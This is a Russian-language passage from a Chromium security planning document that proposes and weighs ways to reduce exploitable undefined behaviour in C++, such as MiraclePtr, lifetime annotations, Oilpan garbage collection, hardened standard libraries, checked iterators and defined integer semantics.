Учитывая это, наша цель состоит в том, чтобы перечислить некоторые вероятные шаги, которые участники Chromium могли бы предпринять для уменьшения общего эксплуатируемого и неэргономичного UB при использовании C++ в Chromium.
Невозможно полностью "починить" C++ без его фундаментального переопределения. Это не наша цель здесь. Вместо этого мы хотим выявить и сократить некоторые из наиболее стойких и эффективных типов небезопасных UB при использовании Chromium.
Приоретизация и мотивация
-------------------------
Вот руководство по относительной важности каждого из решений, обсуждаемых в этом документе. Это чистое количество ошибок, но обратите внимание, что злоумышленники предпочитают использовать разные классы ошибок:
([источник](https://www.google.com/url?q=https://docs.google.com/presentation/d/1UVSc_0CHCdj0iv0c23uJZ6OQ_fr9TrISrYmcahJAbIo/edit?ts%3D5f31d4f7%23slide%3Did.g8f91eb8516_0_2&sa=D&source=editors&ust=1632134964056000&usg=AOvVaw3-WGSncxbUnOkcAoIklEMB); ссылка только для Google, но результаты воспроизводимы с [общедоступного багтрекера](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/list?colspec%3DID%2520Pri%2520M%2520Stars%2520ReleaseBlock%2520Component%2520Status%2520Owner%2520Summary%2520OS%2520Modified%26x%3Dm%26y%3Dreleaseblock%26cells%3Dids%26q%3DType%253DBug-Security%26can%3D1%26sort%3Dpri&sa=D&source=editors&ust=1632134964056000&usg=AOvVaw1XdXF8DQKglLZgT0Unm0SZ))
Предложения и текущая работа, описанные в остальной части этого документа, примерно упорядочены по тому, какое влияние они могут оказать на наши наиболее значимые классы ошибок.
Управление ожиданиями
---------------------
Обратите внимание, что многие из этих предлагаемых и незавершенных проектов являются довольно крупными и сложными, даже меняя семантику C++. Пока мы думаем, что большинство из них необходимы, мы также знаем, что этого недостаточно. Такова природа проблемы C++.
С этими словами, представляем их вам.
Удаление/уменьшение сырых указателей
------------------------------------
**Проблема**: Ручное управление временем жизни и владением оказалось слишком сложным для того, чтобы даже очень опытные инженеры могли надежно выполнять правильные действия. Это приводит к ошибкам UAF, а также к утечкам памяти.
**Решение**: Запретить прямое использование сырых указателей, *new* и *delete*. Вместо этого попросите разработчиков использовать, например, одну из реализаций MiraclePtr. Обратите внимание, что упаковка указателей в некотором синтаксисе полезна для большинства подходов (Oilpan, MiraclePtr, \*Scan, и др.) и ценна сама по себе.
**Текущее состояние**: [Работа продолжается](https://www.google.com/url?q=https://docs.google.com/document/d/1pnnOAIz_DMWDI4oIOFoMAqLnf_MZ2GsrJNb_dbQ3ZBg/edit%23&sa=D&source=editors&ust=1632134964058000&usg=AOvVaw1LhyAxAb1PpYrJpnzG_5CA) для полей T\* в процессе браузера (по состоянию на август 2021 г.). Проект MiraclePtr нацелен на создание смарт-указателя, который делает UAF непригодным для использования, при этом не слишком сильно снижая производительность.
**Затраты**: Производительность. По состоянию на август 2021 года, мы активно оцениваем влияние нескольких внедрений, поэтому данный пункт будет уточнен. Отклонение от норм языкового сообщества С++. C++ за пределами Chrome с гораздо меньшей вероятностью примет этот подход. Следовательно, он не получит временной безопасности, которую обеспечивает MiraclePtr. Например, код Google, вставленный в Chrome, зависимости с открытым исходным кодом. Сложность диагностики сбоев — только один стек вызовов из MiraclePtr в противовес трем из ASAN: выделить, освободить, использовать. Если мы желаем применить эти меры защиты к стороннему коду, нам потребуется разветвить репозитории таким образом, чтобы другие их потребители также использовали нестандартный C++. [Большинство UAF происходят в коде первой стороны](https://www.google.com/url?q=https://docs.google.com/document/d/1VTJAqsQ004ydSPxPcFirM1ukS8uvmR49ppA4OM_9AQI/edit%23heading%3Dh.bcg0gbbh7czw&sa=D&source=editors&ust=1632134964059000&usg=AOvVaw2NAV_JhbJYLXyheP0z3Jtx). Текущие затраты на переписывание большого количества кода — конфликты слияния и т.д.
**Преимущества:** на UAF приходится около [48% серьезных ошибок](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub) безопасности (и число растет). [MiraclePtr планирует охватить ~50% от них](https://www.google.com/url?q=https://docs.google.com/document/d/1VTJAqsQ004ydSPxPcFirM1ukS8uvmR49ppA4OM_9AQI/edit%23heading%3Dh.x9snb54sjlu9&sa=D&source=editors&ust=1632134964060000&usg=AOvVaw3cvQXGuu0OwWGjvSPc9WcK) и теоретически может охватить еще 20% в будущем, запретив сырые указатели в контейнерах, локальных переменных и параметрах функций. На практике использование MiraclePtr в локальных переменных и критичных к быстродействию циклах может привести к непомерным затратам на производительность. Предлагаемая реализация, *BackupRefPtr*, включает потенциальные затраты этапа исполнения на подсчет атомарных ссылок, что все еще можно победить при помощи арифметики указателей и алиасинга.
Дополнительные сведения см. в разделе "[Идеи безопасности указателей](https://www.google.com/url?q=https://docs.google.com/document/d/1qsPh8Bcrma7S-5fobbCkBkXWaAijXOnorEqvIIGKzc0/edit%23heading%3Dh.j7d3wg2h6goh&sa=D&source=editors&ust=1632134964061000&usg=AOvVaw34uQlE-vwdFx-w9_h_v2hn)".
Тем не менее, Project Zero считает, что **внутри процессов визуализации** большинство UAF не являются исправлениями MiraclePtr. Вместо этого они приводят к инвалидации итераторов и другим неудачам на протяжении всего времени жизни.
Аннотирование времени жизни
---------------------------
**Проблема:** Время жизни в C++ неизвестно компилятору и его невозможно отследить с помощью статического анализатора.
**Решение:** В некоторых случаях мы можем аннотировать время жизни с помощью *[[clang::lifetimebound]]*. Этим мы сообщаем, что время жизни привязано к объекту.
Атрибут имеет много ограничений. Он не является решением для обеспечения безопасности памяти, но он может помочь в некоторых важных сценариях. Ограничения:
* Нет никакого способа провести различие между разными временами жизни.
* Нет никакого способа аннотировать статическое время жизни.
* Атрибут присоединяется к параметрам функции и всегда неявно ссылается на самый внешний ссылочный тип; его невозможно присоединить к части типа — например, к T\* в *const std::vector&*.
* Единственное время жизни неявно применяется к внешнему ссылочному типу в возвращаемом типе функции или к значению построенного объекта, в случае конструктора. Опять же, невозможно связать время жизни с внутренними ссылочными типами в возвращаемом значении — например, T\* в *const std::vector&*.
* Невозможно добавить параметр времени жизни в *структуру*. Это означает, что параметры могут быть привязаны к времени жизни объекта только в том случае, если они заданы конструктору, а не в других установщиках.
Теоретически, мы должны применить это к:
* Любому ссылочному параметру конструктора, хранящемуся в поле. Однако, в нем не хватает даже тривиальных примеров: <https://godbolt.org/z/Ysq41G6vb>
* Любому параметру указателя конструктора, который может содержаться в элементе const. Другими словами, указатель никогда не переназначится. Однако, в нем не хватает даже тривиальных примеров: [https://godbolt.org/z/Ma7P8q8WG](https://www.google.com/url?q=https://godbolt.org/z/Ma7P8q8WG&sa=D&source=editors&ust=1632134964064000&usg=AOvVaw3xaGPRDkYCuZCb12Jb-CGq)
* Любому методу класса, который возвращает ссылку или указатель на член класса, но, к сожалению, не на указатели внутри членов класса. Однако, в нем не хватает даже тривиальных примеров: [https://godbolt.org/z/9er4WE6zK](https://www.google.com/url?q=https://godbolt.org/z/9er4WE6zK&sa=D&source=editors&ust=1632134964064000&usg=AOvVaw0ScuA5ew9RC3KVedUASQMM), [https://godbolt.org/z/GW9j4zrdT](https://www.google.com/url?q=https://godbolt.org/z/GW9j4zrdT&sa=D&source=editors&ust=1632134964065000&usg=AOvVaw1_4HAZKEfLhbf85WTe-HU9)
* Любой функции, которая получает ссылки/указатели и возвращает ссылку/указатель на свои входные данные. Это включает шаблонные функции, которые возвращают один из своих входных данных, например, min/max/clamp.
Единственный случай, когда этот атрибут действительно фиксируется только в данный момент, — это [недопустимое использование временных объектов](https://www.google.com/url?q=https://reviews.llvm.org/D49922%23inline-440637&sa=D&source=editors&ust=1632134964065000&usg=AOvVaw2RgQd1tgUCe1RU_1PWeSIa). Хотя это действительная/важная ошибка безопасности памяти, она не соответствует типу ошибок, которые мы видим в наших ошибках безопасности UAF.
* И это даже не ловит все временные:
* [https://godbolt.org/z/PbnM1TY8n](https://www.google.com/url?q=https://godbolt.org/z/PbnM1TY8n&sa=D&source=editors&ust=1632134964066000&usg=AOvVaw0S8AfAmF5wpwSGZRx_mp9_)
* [https://godbolt.org/z/aMbaq4W55](https://www.google.com/url?q=https://godbolt.org/z/aMbaq4W55&sa=D&source=editors&ust=1632134964066000&usg=AOvVaw0q8qMoIXcNbkFMWlpXxf44)
* [https://godbolt.org/z/9G77fcE18](https://www.google.com/url?q=https://godbolt.org/z/9G77fcE18&sa=D&source=editors&ust=1632134964066000&usg=AOvVaw1EgwCCtc5uQ9pbAWOQmItZ)
* На самом деле, трудно построить пример, который он действительно улавливает.
Некоторые ключевые потенциальные места для этого:
* *конструктор base::span*
* *конструктов base::StringPiece*
* *base::clamp*
* ????
* Методы, возвращающие ссылки/указатели повсюду, но только в том случае, если мы сможем показать, что аттрибут действительно помогает (см. godbolts выше для встречных примеров).
Обратите внимание, что *base::span* предназначен для удержания недопустимого указателя за пределами контейнера, на который он "указывает", и анализ времени жизни не может помочь в решении этой проблемы. Это проблема безопасности пространственной памяти, встроенная в C++. Но это может потенциально помочь в использовании *base::span* за пределами времени жизни объекта, на который он указывает, если атрибут будет использоваться не по назначению.
**Текущее состояние:** Работа не начата**.**
**Затраты:** Визуально зашумленные аннотации (куча макросов Abseil), присутствующие в коде. Мы познакомимся с ними поближе. Но существует много мест, где эти аннотации не могут быть использованы. Аннотация может быть написана неправильно, если она более строгая, чем требуется для объекта. Или со временем она может стать неправильной, если объект будет изменен. Например, если *base::span* создал метод для повторного назначения указателей.
Поскольку атрибут генерирует предупреждения *только в случае* обнаружения нарушения, он фактически не гарантирует, что нарушения будут обнаружены. И похоже, что большинство из них таковыми не являются (см. примеры godbolt выше). Это может создать ложное впечатление о безопасности, что может привести к тому, что разработчики попытаются полагаться на атрибут, улавливающий их ошибки, и фактически напишут *больше* UAF.
Кроме того, невозможно обеспечить наличие аннотаций там, где это возможно, что позволило бы писать новый код без них. Авторы кода, которые полагаются на аннотации для проверки их правильности, останутся без каких-либо проверок.
**Преимущества:** Ошибки компилятора при написании некоторого набора простых ошибок времени жизни.
Реализация автоматическим управлением памятью
---------------------------------------------
**Проблема:** Временная безопасность и корректность (UAF, утечки).
**Решение:** Подсчет ссылок (например, подобные [ARC](https://www.google.com/url?q=https://en.wikipedia.org/wiki/Automatic_Reference_Counting&sa=D&source=editors&ust=1632134964070000&usg=AOvVaw2hjq-L2uLEug-MaVLOOPGP) семантики) и/или полный запуск сборщика мусора.
**Текущий статус:** Oilpan теперь является универсальной многоразовой библиотекой (более не специальной для Blink). Плюс [мы перенесли его в PDFium](https://www.google.com/url?q=https://bugs.chromium.org/p/pdfium/issues/detail?id%3D1563&sa=D&source=editors&ust=1632134964071000&usg=AOvVaw3rsmpIjopPGY99qoz0UHrw) для решения многих наших временных проблем безопасности в этом проекте. Например, это позволило нам выпустить поддержку XFA Forms! На данный момент, правда, она отключена по умолчанию из-за пробелов в функциональности.
**Затраты:** Подсчет ссылок должен быть атомарным, что потребует микрозатрат по времени. Полностью универсальный сборщик мусора может быть дорогим.
**Преимущества:** на UAF приходится около [48% серьезных ошибок безопасности](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub) (и число растет). Этот подход является альтернативой универсальному применению поверяемых типов указателей ([см. выше](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub)). Помимо этого, сборка мусора обладает отличной эргономикой для разработчика.
Внедрение анализа владения
--------------------------
**Проблема:** Временная безопасность и корректность (UAF, утечки).
**Решения:** Убедитесь во время выполнения, что у любого объекта есть один "владелец", и объект может быть изменен только с помощью *std::move*. Разрешите заимствования с помощью Rust-подобных правил, которые предотвращают одновременное существование нескольких изменяемых ссылок и гарантируют, что доступ к объектам не будет осуществляться за пределами их времени жизни.
Решение кажется плохо подходящим для C++, но его все ещё предлагают. Поэтому его обсуждение здесь может быть важным.
Rust достигает этой модели благодаря довольно сложной [поддержке компилятора](https://www.google.com/url?q=https://doc.rust-lang.org/edition-guide/rust-2018/ownership-and-lifetimes/non-lexical-lifetimes.html&sa=D&source=editors&ust=1632134964074000&usg=AOvVaw0SOE7hQ1G99hkpBUlk4Mmn). Большинство объектов не требуют затрат времени выполнения для такого рода проверки владения; всё это статично. Разработчики могут опционально вместо этого использовать версию этапа исполнения (*[RefCell<>](https://www.google.com/url?q=https://doc.rust-lang.org/std/cell/struct.RefCell.html&sa=D&source=editors&ust=1632134964075000&usg=AOvVaw3vsUMq6-wztOrPcqR46VWR)*), которая выполняет те же проверки во время исполнения. Мы предполагаем, что эта модель была бы слишком дорогой, если бы *каждый* объект отслеживался во время исполнения, [и мы не видим способа обеспечить статическое исполнение во время сборки в C++ без радикальных изменений компилятора и языка](https://www.google.com/url?q=https://docs.google.com/document/d/1oVTxJ-4VItkcA7rAMylIW74SOmKsnc4aS6bylr1B8ZY/edit?resourcekey%3D0-RNrtKRt8CQ_BgGdGzrDwUA&sa=D&source=editors&ust=1632134964075000&usg=AOvVaw2g3IPrzrhV_yeFGhgFdZQY). (Clang добавил [ограничения на время](https://www.google.com/url?q=https://reviews.llvm.org/rL338464&sa=D&source=editors&ust=1632134964076000&usg=AOvVaw168SMw--2r3Mt3cVL540X_) жизни для простых случаев, но [см. выше](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub)).
**Текущий статус:** У нас есть [несколько ранних экспериментов по обеспечению соблюдения прав владения во время выполнения](https://www.google.com/url?q=https://docs.google.com/document/d/1YnJBXshxxpUkgzgEsuGTvxsFqVq_YFzsueQHxpbDZJU/edit&sa=D&source=editors&ust=1632134964076000&usg=AOvVaw03qjtcK6aeJhbaJunsKntX). Безопасность во время компиляции [невозможна](https://www.google.com/url?q=https://docs.google.com/document/d/1oVTxJ-4VItkcA7rAMylIW74SOmKsnc4aS6bylr1B8ZY/edit?usp%3Dsharing%26resourcekey%3D0-RNrtKRt8CQ_BgGdGzrDwUA&sa=D&source=editors&ust=1632134964076000&usg=AOvVaw2Tzfr5mTSpUnARfu6Z8Z3c) без фундаментальных изменений в C++, таких как новые ссылочные типы. Существует работа для ограниченной безопасности в [предупреждениях Clang, которые будут улавливать висячие ссылки](https://www.google.com/url?q=https://youtu.be/80BZxujhY38?t%3D1096&sa=D&source=editors&ust=1632134964077000&usg=AOvVaw2FrGNxdR_7PICWv9YjcCH7) с помощью анализа потока управления, но, по замыслу, они не будут улавливать недопустимые указатели кучи.
**Затраты:** Затраты на выполнение, эквивалентные подсчету ссылок. Необходимо различать 'owner\_ptr' от 'borrowed\_ptr'.
**Преимущества:** на UAF приходится около [48% серьезных ошибок безопасности](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub) (и число растет). Этот подход является альтернативой универсальному применению проверяемых типов указателей (см. выше).
Использование -Wdangling-gsl
----------------------------
Google в этом добился хороших результатов, обнаруживая и исправляя ошибки UAF. Chrome тоже должен попробовать это. Есть несколько ложных срабатываний, но при этом истинных срабатываний также полно.
Определение всех стандартных моделей поведения библиотеки
---------------------------------------------------------
(Где это возможно)
**Проблема:** Стандартная библиотека изобилует потенциально уязвимым неопределенным поведением. Это включает в себя отсутствие проверки границ (например, *[std::span::operator[]](https://www.google.com/url?q=https://en.cppreference.com/w/cpp/container/span/operator_at&sa=D&source=editors&ust=1632134964080000&usg=AOvVaw3Lr5w15WwTMZuEXSP7e3nw)*) и валидности ([std::optional::operator\*](https://www.google.com/url?q=https://en.cppreference.com/w/cpp/utility/optional/operator*&sa=D&source=editors&ust=1632134964080000&usg=AOvVaw2d9BNXzuoLJJbLxeGsjb7S)). Доступность *[std::string\_view](https://www.google.com/url?q=https://github.com/isocpp/CppCoreGuidelines/issues/1038&sa=D&source=editors&ust=1632134964081000&usg=AOvVaw2_aKOST1Rs99iTwHCU34RT)* [для UAF](https://www.google.com/url?q=https://github.com/isocpp/CppCoreGuidelines/issues/1038&sa=D&source=editors&ust=1632134964081000&usg=AOvVaw2_aKOST1Rs99iTwHCU34RT), однако, является отдельной проблемой. Это особенно прискорбно в недавних дополнениях библиотеки, потому что быстрые, но небезопасные опции уже были доступны.
Поскольку в *std* много неопределенного поведения, мы не можем быть уверенными в том, что используемые нами реализации будут полностью защищены от UB. Особенно по мере добавления новых функций. Вместо этого мы должны использовать замену, подобную *std*, на дизайн и реализацию которой мы сможем влиять более эффективно. К примеру, Abseil. В качестве альтернативы мы могли бы выделить персонал для работы с вышестоящим libcxx, чтобы обеспечить надежность и поддержку усиленного режима.
**Решения:** Добавьте "защищенный" режим (выбираемый во время компиляции) в реализацию стандартной библиотеки. Это позволит поменять неопределенное поведение на четко определенное и безопасное. Это довольно "легко" для пространственной безопасности. Для временной безопасности см. выше.
**Текущее состояние:** Команда Abseil уже добавила в Abseil режим усиления пространственной безопасности. Возможно, ему не помешал бы аудит полноты, но по состоянию на август 2021 г., выглядит довольно неплохо. [Мы используем этот режим в Chromium](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/main:third_party/abseil-cpp/absl_hardening_test.cc;l%3D19?q%3Dabsl_harden%26ss%3Dchromium&sa=D&source=editors&ust=1632134964083000&usg=AOvVaw0xjstrdwqIQCbxJviPXoRA). Аналогичный режим упрочнения для LLVM libcxx находится [в процессе работы](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/detail?id%3D923166&sa=D&source=editors&ust=1632134964085000&usg=AOvVaw0hkt8rrHU3HdoCk68vqayD) ([вышестоящий](https://www.google.com/url?q=https://reviews.llvm.org/D89353&sa=D&source=editors&ust=1632134964085000&usg=AOvVaw2Du1uIXUnKkKlH-z_zmJkV)). Мы также добавили пространственное упрочнение в //base (но могли бы использовать аудит полноты). [WTF](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/main:third_party/blink/renderer/platform/wtf/&sa=D&source=editors&ust=1632134964086000&usg=AOvVaw0uth17VmxxYiJmWlGgQv9z) имеет тот же статус, что и //base.
Мы также рассматриваем [проект по созданию стандартной библиотеки без UB](https://www.google.com/url?q=https://github.com/chromium/libboring&sa=D&source=editors&ust=1632134964086000&usg=AOvVaw3H-PGUgDZ1FWgY9nev85lB) [Ссылка пока только для Google, извините], так как нет желания делать //base автономной. Однако, Abseil с упрочнением может этого избежать. Но если есть общий интерес к библиотеке с открытым исходным кодом, *std*(-подобной), в которой указано, что UB отсутствует, мы могли бы выделить для этого персонал.
**Затраты:** Возможные микрозатраты во время выполнения из-за увеличения проверки.
**Преимущества:** [Пространственная небезопасность составляет 16% ошибок безопасности высокой степени серьезности. Возможно, 17.5%](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub).
Определение неопределенного поведения итераторов
------------------------------------------------
**Проблема:** В частности, представляется важным упомянуть два класса ошибок, связанных с UB в итераторах. Спасибо Сергею и Марку из P0, что подняли эти вопросы.
```
for (auto& iter : my_container) {
MaybeChangeMyContainer();
}
```
и
```
auto iter = my_container.find(the_thing);
DCHECK(iter != my_container.end());
iter->second->Foo();
```
По словам Марка:
> Похоже, что проблема инвалидации итераторов может быть эффективно решена.
>
>
>
> ЛИБО заставляем контейнер отслеживать живые итераторы и "нейтрализовать" любые живые итераторы, когда происходит инвалидирующая операция. Такая операция редко выполняется со многими живыми итераторами, поэтому это должно быть довольно недорогим и повлечет за собой нулевые накладные расходы на доступ к итератору.
>
>
>
> ЛИБО используем что-то вроде тега генерации, который будет проверяться при доступе к итератору; это добавит накладные расходы на доступ к итератору, поэтому это может быть слишком дорого?
>
>
>
> ЛИБО, что более важно для API, мы могли бы просто ПРОВЕРИТЬ инвалидирующие операции, когда есть живые итераторы. Это было бы дешевле, но, вероятно, потребовало бы значительного тестирования и изменений кода, чтобы гарантировать, что итераторы в стеке отбрасываются, как только они перестают использоваться.
**Решение:** У нас [есть тип *CheckedIterator в //base*](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/master:base/containers/checked_iterators.h&sa=D&source=editors&ust=1632134964090000&usg=AOvVaw06Fj0v5lM1hXwXaYjUA1Vo).
**Текущий статус:** На практике это было дорого (из-за отсутствия поддерживаемого способа в libcxx выразить, что его можно оптимизировать), [но теперь это исправлено](https://www.google.com/url?q=https://bugs.chromium.org/p/chromium/issues/detail?id%3D994174%23c15&sa=D&source=editors&ust=1632134964091000&usg=AOvVaw33vNj8EhtyymmeUbbhTG2L). Мы должны расширить его использование теперь, когда мы можем сделать это эффективно. Например, должна быть возможность создать четко определенный шаблон синглтона для конечного итератора, который после поломки не затронет ничего больше.
**Затраты:** Надеемся, что накладные расходы во время выполнения сейчас приемлемы.
**Преимущества:** Меньше UB при инвалидации итераторов, включая пространственную и временную небезопасность.
Определение целочисленной семантики
-----------------------------------
**Проблема:** [целочисленная семантика C/C++ безумна](https://www.google.com/url?q=https://chromium.googlesource.com/chromium/src/%2B/master/docs/security/integer-semantics.md&sa=D&source=editors&ust=1632134964093000&usg=AOvVaw2fig_Jd_Fp8ku4xEi5hYi6): перенос, переполнение, антипереполнение, неопределенное поведение, неявное приведение и молчаливое усечение – все это приводит к небезопасности и плохой эргономике. В результате разработчикам трудно правильно рассчитать размеры, индексы и смещения, особенно когда злоумышленник может контролировать некоторые условия. Арифметическое переполнение и антипереполнение часто приводят к ошибкам в выделении и доступе к памяти, а оттуда к уязвимым ошибкам. Другие классы ошибок также возникают из-за переполнения целых чисел, таких как [перенос значений счетчика ссылок](https://www.google.com/url?q=https://twitter.com/tehjh/status/1045000957678047232?lang%3Den&sa=D&source=editors&ust=1632134964094000&usg=AOvVaw3NpsBxS5GU2AWuOovVKA_q), в результате которого уникальные идентификаторы перестают быть уникальными.
Неявное преобразование из целого числа в число с плавающей точкой скрывает тот факт, что сохраненное значение может измениться. Это коварно, так как в пределах обычных диапазонов значение не меняется, но, если злоумышленник может контролировать значение целого числа, он может сделать его достаточно большим, чтобы нарушить предположение. Затем при обратном преобразовании в целое число [результат становится недействительным](https://www.google.com/url?q=http://crbug.com/278141&sa=D&source=editors&ust=1632134964095000&usg=AOvVaw1ju4vUu62kd_XJ4ElcYguy).
**Решение 1.** Требуйте, чтобы разработчики использовали библиотеку //base/numerics или что-то подобное. Укажите конкретные типы для преднамеренного переноса (wrapping), насыщения (saturating) и захвата (trapping) (как это делает Rust). Нормой должно быть то, что люди по умолчанию используют надежную арифметику и в максимально возможной степени оставляют примитивную арифметику C позади. В частности, мы должны выделить некоторую численность персонала для улучшения общности и эргономики //base/numerics и превратить ее в автономную зависимость. (Она уже легко отделима от //base, но вам нужно скопировать и вставить.)
**Решение 2:** Мы могли бы потребовать, чтобы параметры компилятора заставляли переполнение со знаком вести себя так же, как и без знака (т. е. [перенос](https://www.google.com/url?q=https://clang.llvm.org/docs/ClangCommandLineReference.html&sa=D&source=editors&ust=1632134964096000&usg=AOvVaw1mnBA0kwIIhv-6rNT6tVx4)). То есть мы могли бы принять за стандарт поведение Java и Go: мы могли бы использовать *-fwrapv* в отладочных и производственных сборках. В качестве альтернативы мы могли бы использовать *-fwrapv* в сборках выпуска и *-ftrapv* в отладочных сборках (например, Rust).
**Решение 3.** В Clang также есть [параметры санитайзера](https://www.google.com/url?q=https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html&sa=D&source=editors&ust=1632134964097000&usg=AOvVaw3_9p3lKtx5kxgiTZW8Rcy0), которые можно настроить для немедленного захвата, что не требует поддержки во время выполнения, для обработки деления на 0, усечения, неявного приведения и смещения влево слишком далеко, приведения целого числа к недопустимому значению *enum*.
Android уже использует *-fsanitize=signed-integer-overflow*, -*unsigned-integer-overflow* в больших (и растущих) частях кодовой базы.
Примечания enh@: "В сочетании с фаззингом это довольно хорошо работает, чтобы показать вам, где вам нужен *\_\_builtin\_add\_overflow* или что-то еще. Без фаззинга это "хороший" источник для обратной передачи исправлений безопасности, если/когда что-то найдено в полевых условиях".
**Решение 4.** Clang выдает предупреждение о неявном преобразовании int в float, через *-Wimplicit-int-float-conversion*. Мы должны включить это предупреждение.
**Текущее состояние:** //base/numerics успешно используются во многих местах. Нам просто нужно больше им пользоваться. API нуждается в некоторых эргономических улучшениях.
Мы не используем ни *-ftrapv*, ни *-fwrapv* ни в одном файле .gn или .gni. Мы [отключили](https://www.google.com/url?q=https://crbug.com/989932&sa=D&source=editors&ust=1632134964100000&usg=AOvVaw0Ed7CGMmsA32tNu-z4Ef7Y) *[предупреждение](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/main:build/config/compiler/BUILD.gn;drc%3Dab531c265c533cba1c2f6d8240cc0bf7679f605a;l%3D1611&sa=D&source=editors&ust=1632134964101000&usg=AOvVaw1-aSgmgZUGvbuXW99Va_Qb) -Wimplicit-int-float-conversion*.
[Создайте профили, которые используют *is\_ubsan* проверяют переполнения знакового int](https://www.google.com/url?q=https://source.chromium.org/search?q%3Dsanitize%253Dsigned-integer-overflow%26sq%3D%26ss%3Dchromium&sa=D&source=editors&ust=1632134964102000&usg=AOvVaw2gIO7ASq-umiWiOCta36qW), и [со значительным списком блокировок](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/master:tools/ubsan/blacklist.txt?q%3Dblacklist.txt%26ss%3Dchromium&sa=D&source=editors&ust=1632134964103000&usg=AOvVaw1iPx2eXxLmasE5wT4BbcS9). Похоже, что он не включен в производственных сборках Chrome.
**Расходы:** Обучение. Перенос кода. Некоторые сторонние проекты (например, Skia) сопротивляются системным решениям. Потенциал для регрессии микроэффективности, если люди используют проверенную арифметику в критичных циклах. Потенциал для увеличения размера бинарных файлов, если мы поставляем UBSan с перехватом (который не требует библиотеки поддержки среды выполнения UBSan и создает небольшие, объединяемые целевые объекты для сборки веток).
Предположим, что поведение переполнения является существенным изменением в семантике C/C++. Разработчики LLVM, например, стараются избегать введения новой семантики с помощью параметров командной строки; но некоторые из них уже существуют по необходимости. Если разработчики начнут полагаться на четко определенное поведение целых чисел, код может стать ошибочным, если кто-нибудь отключит эту опцию (мы можем и должны защитить себя от этого с помощью тестов). Использование явных типов для захвата, переноса и насыщения позволяет избежать этого, но тяжело работает для зависимостей 3P и требует явных изменений для мест вызовов.
**Преимущества:** [Переполнение целых чисел составляет около 2% наших ошибок безопасности высокой степени серьезности](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub), хотя, возможно, это будет менее важно, если нам действительно удастся предотвратить переполнение буфера (см. ниже). Использование *-fwrapv* может и должно быть максимально совместимо с существующим кодом и соответствовать ожиданиям большинства разработчиков. Использование UBSan с ловушкой при сбое охватывает большинство проблем, но может потребовать некоторых сокращений и может привести к некоторой регрессии скорости и размера бинарных файлов (эмпирический вопрос). Места вызовов, которые нуждаются в явной проверке, в любом случае должны продолжать использовать //base/numerics.
Существуют также логические ошибки, такие как ожидание, что увеличивающиеся числа останутся уникальными в качестве идентификаторов, перенос значений счетчика ссылок и так далее. Опять же, отлов или санитайзер поймали бы их. С помощью *Trapping* в //base/numerics мы могли бы статически гарантировать это.
Определение поведения и пропуск некоторых оптимизаций, основанных на неопределенном поведении целых чисел, также могут улучшить эргономику.
Установление для указателей значения null после free
----------------------------------------------------
**Проблема:** Содержимое области памяти после *free* не определено. Это сбивает с толку и потенциально может быть использовано зллоумышленниками.
**Решение:** kcc@ отмечает: "Еще одним потенциальным исследованием является обнуление (компилятором) указателей после *free*. После *delete foo->bar* добавьте *foo->bar = nullptr>*. Очевидно, что это исправит небольшую часть случаев (предположительная оценка: 1% – 10%); например, он не может обработать *delete getBar()*;. Но это ~ нулевые накладные расходы и относительно легко реализовать. Патчи LLVM кружат рядом (но я не знаю текущее состояние)".
Это также поможет сделать любые подходы, основанные на GC, более эффективными.
**Текущее состояние:** Отсутствует.
**Затраты:** kcc@ говорит ~ ноль.
**Преимущества:** Обнаружение 1 – 10% UAF. Улучшена эргономика разработчика (modulo aliasing, теперь определяется содержимое области после освобождения и до ее повторного использования).
Определение разыменований нулевого указателя
--------------------------------------------
**Проблема:** Разыменование нулевого указателя – это неопределенное поведение. Это является проблемой, потому что разработчики (обоснованно) готовятся к тому, что разыменование нулевого указателя приведет к прерыванию процесса вместо его продолжения. Однако иногда компилятор удаляет разыменование нулевого указателя при оптимизации. В некоторых случаях, отмена его проверки (даже при продолжении выполнения программы) может привести к гораздо худшему состоянию и стать приманкой для злоумышленников.
